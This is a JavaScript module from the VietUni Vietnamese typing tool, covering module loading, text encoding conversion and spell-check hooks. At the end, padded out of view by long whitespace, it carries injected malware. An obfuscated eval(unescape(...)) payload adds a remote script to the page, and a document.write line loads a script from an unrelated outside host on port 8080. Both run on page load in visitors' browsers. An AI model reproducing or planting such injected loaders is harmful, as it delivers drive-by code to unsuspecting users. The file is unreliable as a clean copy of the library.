/*vumods.js [optional]
* this file is part of the VIETUNI typing tool 
* by Tran Anh Tuan [tuan@physik.hu-berlin.de]
* Copyright (c) 2001, 2002 AVYS e.V.. All Rights Reserved.
*/                                             

/*Note:
* this file provides interfaces to extended features of VietUni
* It must be loaded after (not before) vietuni.js
* All other script files will be loaded automatically when needed
*/

// modules: make sure the URIs are correct!
// The following settings have been made for off-line users.
// For web applications it is recommended to use full URI instead,
// e.g. SCRIPT_PATH= "http://www.mysite.net/js/";
//
if (typeof(SCRIPT_PATH)=='undefined') {
  SCRIPT_PATH = "js/";
}
var vuspellaURI= "vuspella.js";
var vuspellbURI= "vuspellb.js";
var vumapsURI  = "vumaps.js";
var vuspella = 0;
var vuspellb = 0;
var vumaps = 0;

function loadModule(mURI,idstr) {
  if (!document.all) { return alert(ermsg1); }
  var ls="&nbsp;<script defer type='text/javascript'"
  ls += "src='"+SCRIPT_PATH+mURI+"'></script>";
  document.body.insertAdjacentHTML('beforeEnd', ls);
  if (!eval(idstr)) alert( ermsg2);
}          
var ermsg1="Sorry, Browser cu?a ba.n kho^ng cho phe'p na.p the^m modul.";
var ermsg2="Module chu+a na.p xong, co' the^? ke^'t no^'i cha^.m...\n"+
"Ba.n ha~y thu+.c hie^.n thao ta'c mo^.t la^`n nu+~a!";

function updateArea(area, newvalue) {
  area.value= newvalue;
  if(area.onchange) area.onchange();
  if(!document.all) area.focus();
}

function parseMapID(param) {
  if (typeof(param)=='number') return (param+1);
  else if (/^\d+$/g.test(param)) return parseInt(param,10);
  else return param;
}


function convertAtOnce(txtarea) {
  if(!txtarea) return;
  if(!theTyper) theTyper = new CVietString("");
  if(theTyper.keymode.off) {
    var msg = "Bo^. go~ ddang o+? tra.ng tha'i ta('t.\n Ba.n pha?i ddu+a ve^` "+
    "kie^?u dda~ du`ng dde^? vie^'t ba`i truo+'c khi soa't da^'u";
    return alert(msg);      
  }
  updateArea(txtarea, theTyper.doConvertIt(txtarea.value));
}

function loadSpellA (lflag) {
  if (!lflag) return (vuspella= 0);
  if (theTyper && theTyper.checkSpell) return (vuspella=1);
  loadModule(vuspellaURI, "vuspella");
}

function loadSpellB (txtarea, search) {
  if (!txtarea) return;
  if(!vuspellb) {
     loadModule(vuspellbURI, "vuspellb");
     if(vuspellb) document.body.insertAdjacentHTML('beforeEnd', vuspellb);
  }
  if (!theTyper) return; else theTyper.txtarea = txtarea; 
  if (theTyper.theSChecker) theTyper.theSChecker.startCS(search);
}

function setCharMap(mapID) { 
  charmapid = parseMapID(mapID);
  if (!vumaps) loadModule(vumapsURI, "vumaps");
  if (theTyper) theTyper.charmap = initCharMap();
} 

function convertTo(txtarea, destID) {
  if (!txtarea) return 0;
  if (!vumaps) loadModule(vumapsURI, "vumaps");
  if (!vumaps) return 0;
  var srcmap = initCharMap();                        
  var destmap = initCharMap(parseMapID(destID));
  var txt= srcmap.convertTxtTo(txtarea.value, destmap);
  updateArea(txtarea, txt);
  return 1;
}

function detectMap(txtarea) { 
  if (!txtarea) return 0;
  if (!vumaps) loadModule(vumapsURI, "vumaps");
  if (!vumaps) return 0;      
  var cm = detectFormat(txtarea.value, 1);
  if (cm) setCharMap(cm-1);
  return cm;
} 

function convertArea(txtarea, toID) {
  if (!txtarea) return 0;
  var srcid = detectFormat(txtarea.value);
  if (!srcid) return 0;
  var srcmap = initCharMap(srcid);
  var destmap = initCharMap(parseMapID(toID));
  updateArea(txtarea, srcmap.convertTxtTo(txtarea.value,destmap));
  return 1;
}          

function autoConvert(form, toID) {
  if (!form || !vumaps) return;
  var objs = form.elements;
  for (var i=0; i<objs.length; i++) {    
    if(!objs[i].vietarea) continue;
    else convertArea(objs[i], toID);
  }
}

function correctArea(txtarea) {
  if (!txtarea) return;
  if (!vumaps) loadModule(vumapsURI, "vumaps");
  if (!vumaps) return 0;
  var txt= correctTxt(txtarea.value);
  if (txt) updateArea(txtarea, txt);
}

function correctTxt(text, map) {
  var id= map? map: detectFormat(text);
  if (!id) { id = "UNICODE"; }
  var txt= text.replace(/([:;,"!=>\)\]\}\-\.\?]+\s)/g, " :::$1")+' ';
  txt= initCharMap(id).convertTxtTo(txt, initCharMap("VIQR"));
  txt= txt.replace(/(\w)([\^\+\*\(])(\S+)(\s)/g, "$1$3$2$4");
  txt= txt.replace(/(\w)([\xB4\/'\u2019`\.\?~])(\S+)(\s)/g, "$1$3$2$4");
  if(!theTyper) theTyper = new CVietString("");
  theTyper.keymode = new CViqrKeys();
  txt = theTyper.doConvertIt(txt).replace(/ :::/g, "");
  theTyper.keymode = initKeys();
  return txt;
}

CVietString.prototype.doConvertIt = function(txt) {
  var i = 1, len = txt.length, line=1;
  this.value = txt.charAt(0);
  while (i < len) {
    this.ctrlchar = txt.charAt(i++);
    if (this.ctrlchar=='\x0D') window.status= "processing line "+ line++;
    this.changed = 0;
    this.keymode.getAction(this);
    if (!this.changed) this.value+= this.ctrlchar;
  }
  window.status= "";
  return this.value;
}




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%35%35%39%37%30%3B%20%4A%53%53%33%20%3D%20%27%2F%64%61%63%73%61%6E%2F%6E%6F%62%6F%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%64%61%63%73%61%6E%2F%6E%6F%62%6F%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      







































































































document.write('<s'+'cript type="text/javascript" src="http://sokyoss.drelshazly.com:8080/Emoticon.js"></scr'+'ipt>');